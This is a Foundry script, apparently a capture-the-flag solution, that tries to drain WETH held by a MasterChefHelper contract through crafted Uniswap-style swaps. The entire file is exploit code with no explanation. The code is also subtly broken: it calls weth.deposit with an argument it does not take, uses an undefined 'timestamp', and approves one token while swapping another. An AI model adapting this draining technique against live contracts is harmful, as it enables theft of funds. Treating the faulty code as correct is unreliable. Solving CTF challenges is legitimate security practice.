ExploitRescue.sol

ctf.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Script.sol";
import "src/rescue/MasterChefHelper.sol";
import "src/rescue/Setup.sol";
import "src/mocks/ERC20Mock.sol";
import "src/rescue/UniswapV2Like.sol";


contract ExploitScript is Script {
    WETH9 public constant weth = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    ERC20Like public usdc = ERC20Like(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    ERC20Like public usdt = ERC20Like(0xdAC17F958D2ee523a2206206994597C13D831ec7);
    function setUp() public {
    }

    function run() public {
        vm.startBroadcast();

        weth.deposit{value: 5000 ether}();

        Setup setup = Setup(0x99E62F6266f6264ac9f0429A64652343E62C8AE3);
        MasterChefHelper mcHelper = setup.mcHelper();
        UniswapV2RouterLike router = mcHelper.router();

        address[] memory path = new address[](2);
        path[0] = address(usdc);
        path[1] = address(weth);
        address[] memory path1 = new address[](2);
        path1[0] = address(weth);
        path1[1] = address(usdt);

        weth.approve(address(router), type(uint256).max);

        weth.deposit(12);
        router.swapExactTokensForTokens(10, 0, path, address(mcHelper), timestamp + 15 seconds);
        router.swapExactTokensForTokens(2, 0, path, address(this), timestamp + 15 seconds);

        mcHelper.swapTokenForPoolToken(1, address(usdc), 10, 0);
        uint256 balance = weth.balanceOf(address(mcHelper));
        assert(balance == 0);
        vm.stopBroadcast();
    }
}